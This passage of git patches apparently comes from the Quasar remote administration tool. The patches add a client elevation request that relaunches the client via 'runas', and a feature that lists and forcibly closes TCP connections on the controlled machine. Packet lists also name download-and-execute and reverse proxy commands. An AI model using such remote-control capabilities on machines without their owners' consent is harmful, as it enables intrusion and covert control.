ubXPiJ2s24gGAjjTl+BEHIGY4rATjRqHjEIcKR0i4AYF3Pea+doxG+whC7igCbs5d/B7eAw/PW6clmho - 5LMyI74p8qiZjLIny/wL0HUWCc6JhwjMt8M2xFI6AUQ9rYi6XDhvbMCRUkHNR0z+BeByArUvH1Mb43BO - 1IEbLMX23WzaOeppw4+WFpzXO3BYIKdGAjgQu2/mpAoWu+emtaE3SaLtVGLx6xzG18cwsNiNjmANZg0M - dmQZ9CdICrKLA7kM21mpmFIpUeXoRWnHDHS1Pbyk2F+Iua1pjK4OYXgliF7eC8uAAfYKN3gmT/yBDOxI - 08EXyPCAa4amOQLn6BoqAvNI5/oFic6nEkLL/Rhc6kX/YgC+uXaw/Tqk217gJb+NGt87qBvD1EREANqW - SSjr3yDLPgxJmdOYovdoD/VdGrRPu9C94KW7yLSHMLm6j+DsFrzhj6jsWoCpbQYKx2tqLmyaQE61CCCb - jMViV0zNBpXazURLAioU+xlKDy/vomd6E89FPZtYh7IhTM2MmIgAaAICuCxjk/6a0am/Kq0aEnyRT/BG - NvBUTPBYjJ/vuOhMANKaEaSZ+4QEQFwaW2uKvKLzUCYWOoIf4B5bg6opgry6V0izBiE1PzllLK5b/zTH - RUbTVnYU5XL+qLR6RIwcQrbZ/0tpdZdf1EDyB7LktmdG8L5mAAAAAElFTkSuQmCC - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJ4SURBVDhPpZHLbxJhFMX7H7h26c6NJq5YmKhxYWo0 - amKi0VU1VqMs2kUXNpomJsSSAmIfWExNtVQihkSglGmZAcpjOkKBgjC0pR2gWNOkQGzTjQsXx/tNFF+z - MHGSm29mcs7v3u/cDgD/VX/9yGazL1Op1FdRFBGNRiEIAjiOg9frhdvtfvOnvv2Sz+cPZDIZt6Io2Nra - hlKtQ1Fq2GC1UUWr9RlOp5OkGoBcLteZTqc/1Wo1NBoNpJZyWJTSSIhLiCWSiMXeY62sYHJykuQaADJj - Z2dHrXr9I0Qyj4/bYbM9w+joGIaHR7CyugG73U5yDYAkSdjd3SVzHZVKBXHWNZ7EQkxCZGERQjiB0so6 - gYZJrgFgYbVaLWxubtK9K4jSyKyr1WqFxWLB0NAQ5FIZJpOJ5BoAljQDsAzK5XXqKiEUESGEEggKMcwH - oygWV2EwGEiuAQgEAiqgWq1iba2sjswLcQT5GF4nX+HK20v4QICBgQGSawA8Hg+azaZ6/1Jptd2Vm4/g - 9NRx6MZ0mPI/R8/oddx+chHXDKf2z94/+rANcLlc6voYoCiXMMfMcxHMcmH4ZwWYpx7jkfsGZmUb8ts8 - rMI9XLUegU5/0KwCHA4H9vb21BALBRkBjsyBEGbI7Jvh0WXshK/4FL6VEZID5lA3rKE7DPBFBUxMTKT8 - fj9kWaYg6wjT6vyBMLy+IN5RnX9wDJz8QjX/eGYKNgb4GQat7BytKzM9PQ1xUaKrlLGck5FdLuJEzyGY - +JsY5LtU82Cw6/cJfi1K+kx/f3+hr68Pvb290Ov1uHD3JC6bD8PC31I7s5N9tzP4lyKxkWqfjf39NALo - +AY1hv6Ur5wdrwAAAABJRU5ErkJggg== - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZFdSFNhHMZPREQQWBcVUSQG0QdIRUQS - elWJ1IURVFCRWOSiQXqxm2GaKVFtrLn82GA4nevQbMQGY0udHzvb2XFzWxPb1LmzzaUUzpHedFXy9J4D - Lsh11cVzOLw8z+//RQH4L216CIfDvYFA4CfLsnC73XC5XHA6nbDZbLBYLO/+9ud/pqamikKhkIXneSwu - fgWfyoDn00gISqSQy30HTdPEWgAQiUSqgsHgUjqdRjabRWAyAh8XhJedBOP1g2EmMBfnYTAYiL0AgISx - vLwsKpP5ApaEtVodurq60dHRCY3mDWZmE9DpdMReAMBxHFZXV0k4g2QyCY9Q1ePHOMNhbNwH16gXsZl5 - AtIQewGAsKxcLoeFhQUydxJu0rJQVa1WQ6VSQaFQIBqLQ6lUEnsBgLBpASDsIB6fJ1U5jIyxcI14MeRi - MDjkRj1dgQe9p1HTU7pjE8DhcIiAVCqFubm42PKwy4OhYQZv/X24MXAVEmMZntlv4abuGKq7ivMQ8WO1 - WrGysiLOH4vNilWFio9NZSR4BrU9J/HEeh3vgxrILNW4pN63XqHcvTMPMJvN4vkEwOdoDB9Jy1LTOdg+ - deNDuFMMmoPtaB+RwTihwEO6EmdfbF8vbdtSJAL6+/uxtrYmLnF6OgqHcwz3ybxC+PVwPV4NSvHcWYcW - ey1aHRLoPG2401eOI0+pXyJAr9cH7HY7otEoWWQGo+R0t/XHMTDZDtqvgpFTwOB7SSCPoPW0oo6uQkkT - lT0gp06JAEHkZFfIuUImkwmsj8M17WFc1hzERfVelCt34W7veXQzLbhnqkRxE/Vtv5w6IeTygA01NzdX - yuXyaZlMhoaGBkilUkgkEpS2bkON8QKKG6klEj664d8E+JdIyz8ONW7FHjlV8ucd1G+4oOErp0oWzwAA - AABJRU5ErkJggg== - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALgSURBVDhPpZDbT5IBGMa5aG1e9R/4D3TR1nJmp7Va - B7twlc1O1izxkIfJ5mdDMW3mBoqOeUDRDDIBcxiiCPj5cfgQRBEQTBRRkJA0ZdZ1s4un79Ot2vKirYvf - zbv9nud9Xw6A/+LQ4Z/4fD6F2+3+4XQ6QdM0KIqC0WiETqeDRqMZPFRiCQQCx7xeryYSiSCR2EJkPY5I - JIY1lrV17O5+g0qlOlz2+/3XPR7P51gshmQyCfecH9MuDxzOOdgds7DbZ7ASjkAulx8ewMjY2dnZJx7f - gJORu7tlkEq70NHRiba2diyH1iCTyf6W++ndVK1WC5IkGTmOaDSKKbZ1ahY2uwtW2zQoiwNLy6tMUNtv - UeX4mqKwJkd6R+a/m0wmmM1mDA8PM3dHQTMrs60SiQStra1obm5GcCkMsVj8q/VIH/VldYDexoBtE+I3 - BrBbqNVqrKyEYbFOw2x1gjI7QFJ2TJA0FhdDaGxsPAiQTWyldown8MG1DTWdgES3BkJigM0d2r+TIKpA - TtIMdihn3yJn6CYWmIC6urqDgBbtp4wWbRRK6waaNCvo1IdRo/DjYY2SeVoHhoaGwOUWwGCy4FL/WaR3 - piOwsAw+n38QUK8KZTWoQ+gxRvCiP4DKXg8alH4QPTO4V9YEoVCIqud8jBst0I9TGNVT8AeCqKysPAjg - yeaJWkaUaEOo6HajUOJArsgCbguNJyIzLmQ3Qjc6iTFWHpvEyCiJeX8Q5eXl4JRIfUfzWlx7r9QLECi8 - EMg9+81l7Q4UtFpx5dl7CERa6A0WJoSElmXEBN/8IoqLi8F5IHLuFbe78PKdD7yuaWQLjLhaosH5xwNI - u92Ha/elsNFOLAbD+62syLK5uc38hQvOjdpJU67Qhpw6EmeeDu6l3VUQJ2+9zjqRKc04flmSWi2oz6yu - rv5IEAR4PB5KS0tRVFSE/Px85OXlhTgXK3Qp5wo1ptOPlHun7siPsj/5d8D5CcQ0539TQdfWAAAAAElF - TkSuQmCC - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKISURBVDhPpZFPSFMBHMeN6Tm6hdHBS7fOHuogKyMI - ISry2CEPwQiGWLoOepGIyRj+y4G0SpMWA53ON7e9bW7u+XRuc+renNO3f04Et+F26B8kfvu9Ry3I16kH - X3g8vt/P7/2+vzoA/6UzH6LR6NtQKPSD4zj4/X6wLAuHwwGbzQar1frxb3/tZWNj43wkErGKoohC4RBi - Jg9RzGJP0l4G5fIxpqamyKoAiMVit8Ph8EE2m0WxWERoLYZlPowgt4ZAcBWBwAp2UiLMZjPZFQAUxtHR - kax8fh8chcfGTBgdfY3h4REMDg5hO7kHk8lEdgUAz/OoVCoUziOdTmNJmrq0isUAD9/iMlhvEIntXQIN - kl0BIJVVLpeRy+Vo7zT89MvSVKPRCIPBAL1eDyGRwsDAANkVAFLTEkDqIJXapak8PD4OrCcIFxuA0+VH - PJ5Ef38/2RUADMPIgEwmg52dlPzLbnYJLncAH1bf4eGnu9gkQG9vL9kVADMzMyiVSvL+iUSyNtXh9EH9 - /hqaR5qxZuqD814jPOr6U1erap/UUwNYLBb5fBIgLiSwIIUXfJh3eGGfZ+F+1YnNZ9fxjTHgdNuJL5ZO - hDVXT9w36p/KgImJCVSrVbnErS0BjIPCjAdzFJ6dc8N5/xK+UhhDbUD3BeBlE0r6FrhuqjIyYHx8PGS3 - 2yEIAhWZh5dOZ2e8sM26ME3yqBtwGp0m65+n0ndRXkcGSKKT3aFzRSYnJ8Et87RKCusxAdH1ONgHjfj8 - 5jFAoe/P63BMyj9RgXo4qAF+i5q+pdPptrq6uqDVaqHRaDD6qAUrHVdw2N2Eoq4B6Y5z8LbVnzhbVS/O - AP4lrv1yD03M/rpCQQoDqPsJSNb8+jMBmwUAAAAASUVORK5CYII= @@ -356,6 +320,24 @@ lFCjcRJqF9NB0N0Hl01IFpYFz5QcFkXK3PmGhEh2bVxYWBMbzlTtDl/TZUDTVYqbBhHiS6iRfRIqhtnB VKtgyGfvgXdKBt9PHfqVXKdZnVHLLpdNcjnHfl0vRLyUGiTwTvacGmg8IR3RHJ0ZVB+xW1Xcv931mZXR IBvSsn2/dDtiJdSO1XNQ/wBgH9SZbXHbWQAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKfSURBVDhPpZLdT1JxGMdpa+suWy8XzfUH9D943+yu + q9bWZhfNuVVb0portaKSuzSXmomkx4SpaIkg8qKAyotApUBQKgqHwzmHwzkesJHGaHyDs+l086KXi++e + 3+95Pt/n99ueRwbgv3Rk8m906EKSZE0q/m2ajnp26JVZMJ/NYAJGMD49WL/xJxvxumiarjno2T9QFEUw + a58K6bAVYsQObtmEVbsGEfMAYrYBbC+NQVx8h8z8UImLhacONSibLUzYCSFsw4qFgGGwAzpCBe2IAYTG + CBUxBa1aBadaAcHaBdHcCSHkCEkNEolEOxN1QwjOwKF7Dbc/ilFXFsPOLNQ2Ed2mLbTrebTpOOi9Waxa + h5Eaf4acXgkq7B2UpWLhNB2YQNQ/h2KxiCnfNoYcWaisIk6du4Cqs9V4PpZBiyZdjpzEsCEXaG0zgn1N + RVncry+lkzHs7u5KRZ0rh16zgE6jgKoz1Th5+jweDrO4p6bRWo4VpsIKsRA+djRAlkps/BJFEfl8HoVC + AfZgrvxlDkodi0daGk2DKdxVUWjoIfHWxktMha14NvRdJRkVWhC5xFfkcjmpEEt9R98Mi2YiWX6VxO3e + OG6+2kTLUBLL61mJqbBsJIA48aAgI9cjb9JLE8iUp7DFJJDNZhFc40BYSDT1r6GxdxXdk3H4vqQlo8gx + 4HzTSPbUw6NSeKQxri57PdRsPwSnGnzQLvKxMMOzqQTP85t7ymQym1zEx7CGTpBls7VdzkzKLx/bX6TA + vFXvHu0qboy1gTO+AGdTgXVqwDg0YOcIUPqXoPpuY1F5o2Tqeer/0Fh7XNqDvQYVubvlJwzK+qvjj+tG + Jp/UcSZF3Q+L4vrOTOu1/Pv7VxY0d2rl2luXLh70HGrwLzoy+eeC7DdDjRpyPiqHagAAAABJRU5ErkJg + gg== @@ -395,6 +377,24 @@ ofiDvAMF+oRo0AP9zAqEWifZ8iOcbTSjRmWD2hSAsI8BzWlIEPH+g5Q2KdTzqILu2Mkbk1BOLeGekyWs ocMcRH6dERSnMUZzm/58lH9Cn1BnUbxOEZWvYCluc5ziNMVJRZYgOsht+Ptl+neQ8R04hsvsalKMmgAA AABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALOSURBVDhPpZHJT1NRFMbrzrD2b3DtnrAyMSERGVMq + LdJHaVPoFOC1fZFSIBGxBCiktgxqS8sgULAyqIUiQgjwUCAQkSASw2QYF0SrjZv3+e4ljSR15+JLbu49 + 3+9851wJgP9SwsX7R9VJMzY2+S1rkO+rGOzlZlLtFxZgktXfm6lgk0lNvD4BsMKV82cmI061GhyLpnOO + wznL0vOprhhnpSYsWcv4eH0C4EtejvDdZkPM1YpjbRH2ZVlU5EzuyNtnaZoQMRuuU0C1z55kdpcnm5x6 + ubXPiJ2s24gGAjjTl+BEHIGY4rATjRqHjEIcKR0i4AYF3Pea+doxG+whC7igCbs5d/B7eAw/PW6clmho + 5LMyI74p8qiZjLIny/wL0HUWCc6JhwjMt8M2xFI6AUQ9rYi6XDhvbMCRUkHNR0z+BeByArUvH1Mb43BO + 1IEbLMX23WzaOeppw4+WFpzXO3BYIKdGAjgQu2/mpAoWu+emtaE3SaLtVGLx6xzG18cwsNiNjmANZg0M + dmQZ9CdICrKLA7kM21mpmFIpUeXoRWnHDHS1Pbyk2F+Iua1pjK4OYXgliF7eC8uAAfYKN3gmT/yBDOxI + 08EXyPCAa4amOQLn6BoqAvNI5/oFic6nEkLL/Rhc6kX/YgC+uXaw/Tqk217gJb+NGt87qBvD1EREANqW + SSjr3yDLPgxJmdOYovdoD/VdGrRPu9C94KW7yLSHMLm6j+DsFrzhj6jsWoCpbQYKx2tqLmyaQE61CCCb + jMViV0zNBpXazURLAioU+xlKDy/vomd6E89FPZtYh7IhTM2MmIgAaAICuCxjk/6a0am/Kq0aEnyRT/BG + NvBUTPBYjJ/vuOhMANKaEaSZ+4QEQFwaW2uKvKLzUCYWOoIf4B5bg6opgry6V0izBiE1PzllLK5b/zTH + RUbTVnYU5XL+qLR6RIwcQrbZ/0tpdZdf1EDyB7LktmdG8L5mAAAAAElFTkSuQmCC @@ -405,7 +405,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAYABCAGAAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAZABCAGQAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ From 9b41d6afbf24f6ffb08894b93bbabb8732ea0c21 Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 13:31:21 -0400 Subject: [PATCH 023/229] Add DoAskElevate to QuasarServer. --- Server/Core/Networking/QuasarServer.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index fe0f5936f..149ce7d38 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -77,6 +77,7 @@ public QuasarServer() : base() typeof (Packets.ServerPackets.DoClientDisconnect), typeof (Packets.ServerPackets.DoClientReconnect), typeof (Packets.ServerPackets.DoClientUninstall), + typeof (Packets.ServerPackets.DoAskElevate), typeof (Packets.ServerPackets.DoDownloadAndExecute), typeof (Packets.ServerPackets.DoUploadAndExecute), typeof (Packets.ServerPackets.GetDesktop), From 9b0e1d8a230e0d5fdd9b150d59f91e82d197e085 Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 13:46:13 -0400 Subject: [PATCH 024/229] Improve HandleAskElevate. Have to ClostMutex otherwise the new elevated client won't stay open. --- Client/Core/Commands/SystemHandler.cs | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index 903a378be..3ced4d741 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -6,12 +6,12 @@ using System.Net.NetworkInformation; using System.Windows.Forms; using Microsoft.Win32; +using xClient.Config; using xClient.Core.Extensions; using xClient.Core.Helper; using xClient.Core.Networking; using xClient.Core.Utilities; using xClient.Enums; -using xClient.Core.Helper; namespace xClient.Core.Commands { @@ -448,6 +448,7 @@ public static void HandleAskElevate(Packets.ServerPackets.DoAskElevate command, proc.WorkingDirectory = Environment.CurrentDirectory; proc.FileName = Application.ExecutablePath; proc.Verb = "runas"; + MutexHelper.CloseMutex(); //Close the mutex so our new process will run try { @@ -456,9 +457,10 @@ public static void HandleAskElevate(Packets.ServerPackets.DoAskElevate command, catch { new Packets.ClientPackets.SetStatus("User refused the elevation request").Execute(client); + MutexHelper.CreateMutex(Settings.MUTEX); //Re-grab the mutex return; } - Application.Exit(); + Program.ConnectClient.Exit(); } else { From 254ef8aedaa26a0a0c28b4f910e3a406bce4bbc9 Mon Sep 17 00:00:00 2001 From: DragonzMaster Date: Sat, 19 Mar 2016 02:04:54 +0200 Subject: [PATCH 025/229] Added Remote TCP Connections --- Client/Client.csproj | 4 + Client/Core/Commands/TCPConnectionsHandler.cs | 173 ++++++++++++++ Client/Core/Networking/QuasarClient.cs | 6 +- .../ClientPackets/GetConnectionsResponse.cs | 43 ++++ Client/Core/Packets/PacketHandler.cs | 8 + .../ServerPackets/DoCloseConnection.cs | 28 +++ .../Packets/ServerPackets/GetConnections.cs | 19 ++ Server/Core/Commands/TCPConnectionsHandler.cs | 64 ++++++ Server/Core/Networking/QuasarServer.cs | 6 +- Server/Core/Networking/UserState.cs | 4 + .../ClientPackets/GetConnectionsResponse.cs | 42 ++++ Server/Core/Packets/PacketHandler.cs | 4 + .../ServerPackets/DoCloseConnection.cs | 28 +++ .../Packets/ServerPackets/GetConnections.cs | 19 ++ Server/Forms/FrmConnections.Designer.cs | 147 ++++++++++++ Server/Forms/FrmConnections.cs | 115 ++++++++++ Server/Forms/FrmConnections.resx | 123 ++++++++++ Server/Forms/FrmMain.Designer.cs | 11 +- Server/Forms/FrmMain.cs | 13 +- Server/Forms/FrmMain.resx | 216 +++++++++--------- Server/Server.csproj | 13 ++ 21 files changed, 973 insertions(+), 113 deletions(-) create mode 100644 Client/Core/Commands/TCPConnectionsHandler.cs create mode 100644 Client/Core/Packets/ClientPackets/GetConnectionsResponse.cs create mode 100644 Client/Core/Packets/ServerPackets/DoCloseConnection.cs create mode 100644 Client/Core/Packets/ServerPackets/GetConnections.cs create mode 100644 Server/Core/Commands/TCPConnectionsHandler.cs create mode 100644 Server/Core/Packets/ClientPackets/GetConnectionsResponse.cs create mode 100644 Server/Core/Packets/ServerPackets/DoCloseConnection.cs create mode 100644 Server/Core/Packets/ServerPackets/GetConnections.cs create mode 100644 Server/Forms/FrmConnections.Designer.cs create mode 100644 Server/Forms/FrmConnections.cs create mode 100644 Server/Forms/FrmConnections.resx diff --git a/Client/Client.csproj b/Client/Client.csproj index d6af4b77d..e5c58c833 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -54,6 +54,7 @@ + @@ -95,6 +96,7 @@ + @@ -105,6 +107,7 @@ + @@ -113,6 +116,7 @@ + diff --git a/Client/Core/Commands/TCPConnectionsHandler.cs b/Client/Core/Commands/TCPConnectionsHandler.cs new file mode 100644 index 000000000..134e1b228 --- /dev/null +++ b/Client/Core/Commands/TCPConnectionsHandler.cs @@ -0,0 +1,173 @@ +using System; +using System.Diagnostics; +using System.Net; +using System.Runtime.InteropServices; +using xClient.Core.Networking; +using xClient.Core.Packets.ServerPackets; + +namespace xClient.Core.Commands +{ + /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */ + public static partial class CommandHandler + { + public static void HandleGetConnections(Client client, GetConnections packet) + { + MIB_TCPROW_OWNER_PID[] table = GetTable(); + string[] Processes = new string[table.Length]; + string[] LocalAddresses = new string[table.Length]; + string[] LocalPorts = new string[table.Length]; + string[] RemoteAddresses = new string[table.Length]; + string[] RemotePorts = new string[table.Length]; + byte[] States = new byte[table.Length]; + + /*int i = 0; + foreach (string proc in Processes)*/ + + for (int i = 0; i < table.Length; i++) + { + LocalAddresses[i] = string.Format("{0}", table[i].LocalAddress); + LocalPorts[i] = string.Format("{0}", table[i].LocalPort); + RemoteAddresses[i] = string.Format("{0}", table[i].RemoteAddress); + RemotePorts[i] = string.Format("{0}", table[i].RemotePort); + States[i] = Convert.ToByte(table[i].state); + + try + { + Process p = Process.GetProcessById((int)table[i].owningPid); + Processes[i] = p.ProcessName; + } + catch + { + Processes[i] = string.Format("PID: {0}", table[i].owningPid); + } + + } + + new Packets.ClientPackets.GetConnectionsResponse(Processes, LocalAddresses, LocalPorts, RemoteAddresses, RemotePorts, States).Execute(client); + + } + + public static void HandleDoCloseConnection(Client client, DoCloseConnection packet) + { + MIB_TCPROW_OWNER_PID[] table = GetTable(); + bool matchFound = false; // handle if connections's ports found + for (int i = 0; i < table.Length; i++) + { + //search for connection by Local and Remote Ports + if ((packet.LocalPort.ToString() == table[i].LocalPort.ToString()) && + (packet.RemotePort.ToString() == table[i].RemotePort.ToString())) + // it will close the connection only if client run as admin + { + matchFound = true; + //table[i].state = (byte)ConnectionStates.Delete_TCB; + table[i].state = 12; // 12 for Delete_TCB state + IntPtr ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); + Marshal.StructureToPtr(table[i], ptr, false); + int ret = SetTcpEntry(ptr); + } + } + if (matchFound) { HandleGetConnections(client, new GetConnections()); } + } + + public static MIB_TCPROW_OWNER_PID[] GetTable() + { + MIB_TCPROW_OWNER_PID[] tTable; + int AF_INET = 2; + int buffSize = 0; + uint ret = GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_PID_ALL); + IntPtr buffTable = Marshal.AllocHGlobal(buffSize); + try + { + ret = GetExtendedTcpTable(buffTable, ref buffSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_PID_ALL); + if (ret != 0) + return null; + MIB_TCPTABLE_OWNER_PID tab = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(buffTable, typeof(MIB_TCPTABLE_OWNER_PID)); + IntPtr rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries)); + tTable = new MIB_TCPROW_OWNER_PID[tab.dwNumEntries]; + for (int i = 0; i < tab.dwNumEntries; i++) + { + MIB_TCPROW_OWNER_PID tcpRow = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(rowPtr, typeof(MIB_TCPROW_OWNER_PID)); + tTable[i] = tcpRow; + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); + } + + } + finally + { + Marshal.FreeHGlobal(buffTable); + } + return tTable; + } + [StructLayout(LayoutKind.Sequential)] + public struct MIB_TCPROW_OWNER_PID + { + public UInt32 state; + public UInt32 localAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public byte[] localPort; + public UInt32 remoteAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public byte[] remotePort; + public UInt32 owningPid; + + public System.Net.IPAddress LocalAddress + { + get + { + return new System.Net.IPAddress(localAddr); + } + } + + public ushort LocalPort + { + get + { + return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); + } + } + + public System.Net.IPAddress RemoteAddress + { + get + { + return new IPAddress(remoteAddr); + } + } + + public ushort RemotePort + { + get + { + return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); + } + } + } + [StructLayout(LayoutKind.Sequential)] + public struct MIB_TCPTABLE_OWNER_PID + { + public uint dwNumEntries; + MIB_TCPROW_OWNER_PID table; + } + enum TCP_TABLE_CLASS + { + TCP_TABLE_BASIC_LISTENER, + TCP_TABLE_BASIC_CONNECTIONS, + TCP_TABLE_BASIC_ALL, + TCP_TABLE_OWNER_PID_LISTENER, + TCP_TABLE_OWNER_PID_CONNECTIONS, + TCP_TABLE_OWNER_PID_ALL, + TCP_TABLE_OWNER_MODULE_LISTENER, + TCP_TABLE_OWNER_MODULE_CONNECTIONS, + TCP_TABLE_OWNER_MODULE_ALL + } + + [DllImport("iphlpapi.dll", SetLastError = true)] + static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TCP_TABLE_CLASS tblClass, UInt32 reserved = 0); + + [DllImport("iphlpapi.dll")] + private static extern int SetTcpEntry(IntPtr pTcprow); + + } + +} + diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs index 5644c0073..1ae5af153 100644 --- a/Client/Core/Networking/QuasarClient.cs +++ b/Client/Core/Networking/QuasarClient.cs @@ -66,6 +66,8 @@ public QuasarClient(HostsManager hostsManager) : base() typeof (Packets.ServerPackets.DoRenameRegistryValue), typeof (Packets.ServerPackets.DoChangeRegistryValue), typeof (Packets.ServerPackets.SetAuthenticationSuccess), + typeof (Packets.ServerPackets.GetConnections), + typeof (Packets.ServerPackets.DoCloseConnection), typeof (Packets.ClientPackets.GetAuthenticationResponse), typeof (Packets.ClientPackets.SetStatus), typeof (Packets.ClientPackets.SetStatusFileManager), @@ -92,7 +94,9 @@ public QuasarClient(HostsManager hostsManager) : base() typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), - typeof (ReverseProxy.Packets.ReverseProxyDisconnect) + typeof (ReverseProxy.Packets.ReverseProxyDisconnect), + typeof (Packets.ClientPackets.GetConnectionsResponse) + }); base.ClientState += OnClientState; base.ClientRead += OnClientRead; diff --git a/Client/Core/Packets/ClientPackets/GetConnectionsResponse.cs b/Client/Core/Packets/ClientPackets/GetConnectionsResponse.cs new file mode 100644 index 000000000..06e8aeae0 --- /dev/null +++ b/Client/Core/Packets/ClientPackets/GetConnectionsResponse.cs @@ -0,0 +1,43 @@ +using System; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ClientPackets +{ + [Serializable] + public class GetConnectionsResponse : IPacket + { + public string[] Processes { get; set; } + + public string[] LocalAddresses { get; set; } + + public string[] LocalPorts { get; set; } + + public string[] RemoteAdresses { get; set; } + + public string[] RemotePorts { get; set; } + + public byte[] States { get; set; } + + public GetConnectionsResponse() + { + } + + public GetConnectionsResponse(string[] processes, string[] localaddresses, string[] localports, + string[] remoteadresses, string[] remoteports, byte[] states) + { + this.Processes = processes; + this.LocalAddresses = localaddresses; + this.LocalPorts = localports; + this.RemoteAdresses = remoteadresses; + this.RemotePorts = remoteports; + this.States = states; + } + + public void Execute(Client client) + { + client.Send(this); + } + + } + +} diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index 08da0d534..e68cc6ec7 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -171,6 +171,14 @@ public static void HandlePacket(Client client, IPacket packet) { ReverseProxyCommandHandler.HandleCommand(client, packet); } + else if (type == typeof(ServerPackets.GetConnections)) + { + CommandHandler.HandleGetConnections(client, (ServerPackets.GetConnections)packet); + } + else if (type == typeof(ServerPackets.DoCloseConnection)) + { + CommandHandler.HandleDoCloseConnection(client, (ServerPackets.DoCloseConnection)packet); + } } } } diff --git a/Client/Core/Packets/ServerPackets/DoCloseConnection.cs b/Client/Core/Packets/ServerPackets/DoCloseConnection.cs new file mode 100644 index 000000000..1ec2ddc3b --- /dev/null +++ b/Client/Core/Packets/ServerPackets/DoCloseConnection.cs @@ -0,0 +1,28 @@ +using System; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ServerPackets +{ + [Serializable] + public class DoCloseConnection : IPacket + { + public int LocalPort { get; set; } + + public int RemotePort { get; set; } + + public DoCloseConnection() + { + } + + public DoCloseConnection(int localport, int remoteport) + { + this.LocalPort = localport; + this.RemotePort = remoteport; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Packets/ServerPackets/GetConnections.cs b/Client/Core/Packets/ServerPackets/GetConnections.cs new file mode 100644 index 000000000..dc4fc5d1a --- /dev/null +++ b/Client/Core/Packets/ServerPackets/GetConnections.cs @@ -0,0 +1,19 @@ +using System; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ServerPackets +{ + [Serializable] + public class GetConnections : IPacket + { + public GetConnections() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } + +} diff --git a/Server/Core/Commands/TCPConnectionsHandler.cs 